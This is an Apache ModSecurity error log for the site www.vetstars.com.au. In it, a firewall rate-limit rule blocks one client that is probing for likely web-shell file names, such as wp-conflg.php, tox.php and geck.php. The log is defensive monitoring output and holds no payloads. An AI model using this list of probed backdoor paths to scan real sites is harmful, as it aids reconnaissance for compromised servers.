[Thu Dec 18 21:41:17.444302 2025] [:error] [pid 23645:tid 23670] [client 4.196.84.157:24546] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mo.php"] [unique_id "aUQEfTf_Rx0Y0ao_QJhkzQAAAJc"]
[Thu Dec 18 21:41:17.976627 2025] [:error] [pid 12239:tid 12253] [client 4.196.84.157:16788] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "aUQEfdNnXxfGIuWO6akhSgAAAok"]
[Thu Dec 18 21:41:18.214753 2025] [:error] [pid 23558:tid 23615] [client 4.196.84.157:14532] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "aUQEfuHam9NbgPQa9uYtJAAAAMA"]
[Thu Dec 18 21:41:18.843254 2025] [:error] [pid 12239:tid 12263] [client 4.196.84.157:24557] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "aUQEftNnXxfGIuWO6akhVAAAApM"]
[Thu Dec 18 21:41:19.197234 2025] [:error] [pid 12383:tid 12386] [client 4.196.84.157:24564] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "aUQEf_dgllo9h1cyxGbMgAAAAsA"]
[Thu Dec 18 21:41:19.885916 2025] [:error] [pid 24958:tid 24962] [client 4.196.84.157:17700] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aUQEf8kDOrUkd0wNm2HTdAAAAYE"]
[Thu Dec 18 21:41:20.229502 2025] [:error] [pid 25357:tid 25370] [client 4.196.84.157:19968] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aUQEgIaT7bsEXnJVfJdyKAAAAcs"]
[Thu Dec 18 21:41:20.511447 2025] [:error] [pid 23556:tid 23582] [client 4.196.84.157:14985] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aUQEgBnmLlk3u5yt9kHvwwAAABY"]
[Thu Dec 18 21:41:20.916021 2025] [:error] [pid 24542:tid 24560] [client 4.196.84.157:14986] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aUQEgEtQz4H2oS3NrDYnVQAAAVA"]
[Thu Dec 18 21:41:21.033084 2025] [:error] [pid 24542:tid 24550] [client 4.196.84.157:17690] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aUQEgUtQz4H2oS3NrDYnVwAAAUY"]
[Thu Dec 18 21:41:21.218649 2025] [:error] [pid 23556:tid 23583] [client 4.196.84.157:16678] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aUQEgRnmLlk3u5yt9kHvxwAAABc"]
[Thu Dec 18 21:41:21.379521 2025] [:error] [pid 12035:tid 12066] [client 4.196.84.157:16809] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aUQEgbcVHrNSHjCo-0qeJQAAAhc"]
[Thu Dec 18 21:41:21.615715 2025] [:error] [pid 12035:tid 12055] [client 4.196.84.157:16640] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aUQEgbcVHrNSHjCo-0qeJgAAAgw"]
[Thu Dec 18 21:41:21.848665 2025] [:error] [pid 23645:tid 23662] [client 4.196.84.157:16684] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aUQEgTf_Rx0Y0ao_QJhk1AAAAI8"]
[Thu Dec 18 21:41:22.240299 2025] [:error] [pid 25357:tid 25382] [client 4.196.84.157:48413] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aUQEgoaT7bsEXnJVfJdyKwAAAdc"]
[Thu Dec 18 21:41:22.717405 2025] [:error] [pid 24542:tid 24562] [client 4.196.84.157:24701] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aUQEgktQz4H2oS3NrDYnWQAAAVI"]
[Thu Dec 18 21:41:23.789212 2025] [:error] [pid 12383:tid 12391] [client 4.196.84.157:17716] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aUQEg_dgllo9h1cyxGbMggAAAsU"]
[Thu Dec 18 21:41:24.687273 2025] [:error] [pid 12239:tid 12250] [client 4.196.84.157:23797] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc.php"] [unique_id "aUQEhNNnXxfGIuWO6akhawAAAoY"]
[Thu Dec 18 21:41:25.129379 2025] [:error] [pid 23556:tid 23577] [client 4.196.84.157:24647] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc.php"] [unique_id "aUQEhRnmLlk3u5yt9kHvywAAABE"]
[Thu Dec 18 21:41:25.556447 2025] [:error] [pid 23556:tid 23566] [client 4.196.84.157:16818] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc.php"] [unique_id "aUQEhRnmLlk3u5yt9kHvzAAAAAY"]
[Thu Dec 18 21:41:25.866344 2025] [:error] [pid 12239:tid 12247] [client 4.196.84.157:16790] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc.php"] [unique_id "aUQEhdNnXxfGIuWO6akhbgAAAoM"]
[Thu Dec 18 21:41:26.255131 2025] [:error] [pid 23558:tid 23629] [client 4.196.84.157:24702] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nij.php"] [unique_id "aUQEhuHam9NbgPQa9uYtLAAAAM4"]
[Thu Dec 18 21:41:26.705221 2025] [:error] [pid 24958:tid 24967] [client 4.196.84.157:24547] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nij.php"] [unique_id "aUQEhskDOrUkd0wNm2HTeQAAAYY"]
[Thu Dec 18 21:41:26.930487 2025] [:error] [pid 24958:tid 24979] [client 4.196.84.157:20025] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nij.php"] [unique_id "aUQEhskDOrUkd0wNm2HTewAAAZI"]
[Thu Dec 18 21:41:27.189643 2025] [:error] [pid 25357:tid 25368] [client 4.196.84.157:16685] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nij.php"] [unique_id "aUQEh4aT7bsEXnJVfJdyLwAAAck"]
[Thu Dec 18 21:41:27.352518 2025] [:error] [pid 23558:tid 23631] [client 4.196.84.157:14576] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aUQEh-Ham9NbgPQa9uYtMAAAANA"]
[Thu Dec 18 21:41:27.668953 2025] [:error] [pid 12239:tid 12259] [client 4.196.84.157:15037] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aUQEh9NnXxfGIuWO6akhdQAAAo8"]
[Thu Dec 18 21:41:27.968432 2025] [:error] [pid 12035:tid 12051] [client 4.196.84.157:14536] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aUQEh7cVHrNSHjCo-0qeMQAAAgk"]
[Thu Dec 18 21:41:28.307995 2025] [:error] [pid 24433:tid 24436] [client 4.196.84.157:24518] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aUQEiJ4pN9ycmipm8Tjg1gAAAQA"]
[Thu Dec 18 21:41:28.653455 2025] [:error] [pid 24542:tid 24549] [client 4.196.84.157:14579] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aUQEiEtQz4H2oS3NrDYnXQAAAUU"]
[Thu Dec 18 21:41:28.949994 2025] [:error] [pid 12383:tid 12407] [client 4.196.84.157:13412] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aUQEiPdgllo9h1cyxGbMiQAAAtU"]
[Thu Dec 18 21:41:29.260360 2025] [:error] [pid 24542:tid 24563] [client 4.196.84.157:14989] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aUQEiUtQz4H2oS3NrDYnXwAAAVM"]
[Thu Dec 18 21:41:29.855476 2025] [:error] [pid 12035:tid 12061] [client 4.196.84.157:19976] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aUQEibcVHrNSHjCo-0qeNAAAAhI"]
[Thu Dec 18 21:41:30.966425 2025] [:error] [pid 24542:tid 24565] [client 4.196.84.157:24661] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aUQEiktQz4H2oS3NrDYnZAAAAVU"]
[Thu Dec 18 21:41:31.540315 2025] [:error] [pid 12035:tid 12064] [client 4.196.84.157:20007] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aUQEi7cVHrNSHjCo-0qeNwAAAhU"]
[Thu Dec 18 21:41:32.753663 2025] [:error] [pid 23556:tid 23576] [client 4.196.84.157:16671] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aUQEjBnmLlk3u5yt9kHv0QAAABA"]
[Thu Dec 18 21:41:33.339910 2025] [:error] [pid 12239:tid 12252] [client 4.196.84.157:15031] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aUQEjdNnXxfGIuWO6akhggAAAog"]
[Thu Dec 18 21:41:33.581702 2025] [:error] [pid 24958:tid 24966] [client 4.196.84.157:24683] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUQEjckDOrUkd0wNm2HTggAAAYU"]
[Thu Dec 18 21:41:33.923481 2025] [:error] [pid 12035:tid 12056] [client 4.196.84.157:14574] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUQEjbcVHrNSHjCo-0qeOgAAAg0"]
[Thu Dec 18 21:41:34.191139 2025] [:error] [pid 12239:tid 12249] [client 4.196.84.157:24682] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUQEjtNnXxfGIuWO6akhhAAAAoU"]
[Thu Dec 18 21:41:34.552856 2025] [:error] [pid 23558:tid 23634] [client 4.196.84.157:16683] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUQEjuHam9NbgPQa9uYtPwAAANM"]
[Thu Dec 18 21:41:35.066859 2025] [:error] [pid 24542:tid 24557] [client 4.196.84.157:19972] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tox.php"] [unique_id "aUQEj0tQz4H2oS3NrDYneAAAAU0"]
[Thu Dec 18 21:41:35.643233 2025] [:error] [pid 23558:tid 23618] [client 4.196.84.157:17703] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tox.php"] [unique_id "aUQEj-Ham9NbgPQa9uYtRgAAAMM"]
[Thu Dec 18 21:41:35.935076 2025] [:error] [pid 12239:tid 12256] [client 4.196.84.157:16768] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tox.php"] [unique_id "aUQEj9NnXxfGIuWO6akhiAAAAow"]
[Thu Dec 18 21:41:36.901763 2025] [:error] [pid 12239:tid 12259] [client 4.196.84.157:20004] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tox.php"] [unique_id "aUQEkNNnXxfGIuWO6akhiwAAAo8"]
[Thu Dec 18 21:41:37.502234 2025] [:error] [pid 24958:tid 24961] [client 4.196.84.157:14570] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lo.php"] [unique_id "aUQEkckDOrUkd0wNm2HTkwAAAYA"]
[Thu Dec 18 21:41:37.861107 2025] [:error] [pid 12383:tid 12397] [client 4.196.84.157:2002] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lo.php"] [unique_id "aUQEkfdgllo9h1cyxGbMmAAAAss"]
[Thu Dec 18 21:41:38.611700 2025] [:error] [pid 25357:tid 25376] [client 4.196.84.157:24645] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lo.php"] [unique_id "aUQEkoaT7bsEXnJVfJdyNgAAAdE"]
[Thu Dec 18 21:41:38.990489 2025] [:error] [pid 12383:tid 12402] [client 4.196.84.157:16665] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lo.php"] [unique_id "aUQEkvdgllo9h1cyxGbMmQAAAtA"]
[Thu Dec 18 21:41:40.862509 2025] [:error] [pid 24542:tid 24552] [client 4.196.84.157:1110] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUQElEtQz4H2oS3NrDYnfQAAAUg"]
[Thu Dec 18 21:41:40.919373 2025] [:error] [pid 24542:tid 24565] [client 4.196.84.157:23772] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUQElEtQz4H2oS3NrDYnfgAAAVU"]
[Thu Dec 18 21:41:41.007652 2025] [:error] [pid 24433:tid 24445] [client 4.196.84.157:23795] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUQElZ4pN9ycmipm8Tjg7AAAAQk"]
[Thu Dec 18 21:41:41.125779 2025] [:error] [pid 24542:tid 24554] [client 4.196.84.157:2024] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUQElUtQz4H2oS3NrDYnfwAAAUo"]
[Thu Dec 18 21:41:41.236526 2025] [:error] [pid 12239:tid 12250] [client 4.196.84.157:23753] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aUQEldNnXxfGIuWO6akhlgAAAoY"]
[Thu Dec 18 21:41:41.374792 2025] [:error] [pid 23558:tid 23634] [client 4.196.84.157:14551] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aUQEleHam9NbgPQa9uYtSAAAANM"]
[Thu Dec 18 21:41:41.582820 2025] [:error] [pid 23558:tid 23621] [client 4.196.84.157:10337] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aUQEleHam9NbgPQa9uYtSQAAAMY"]
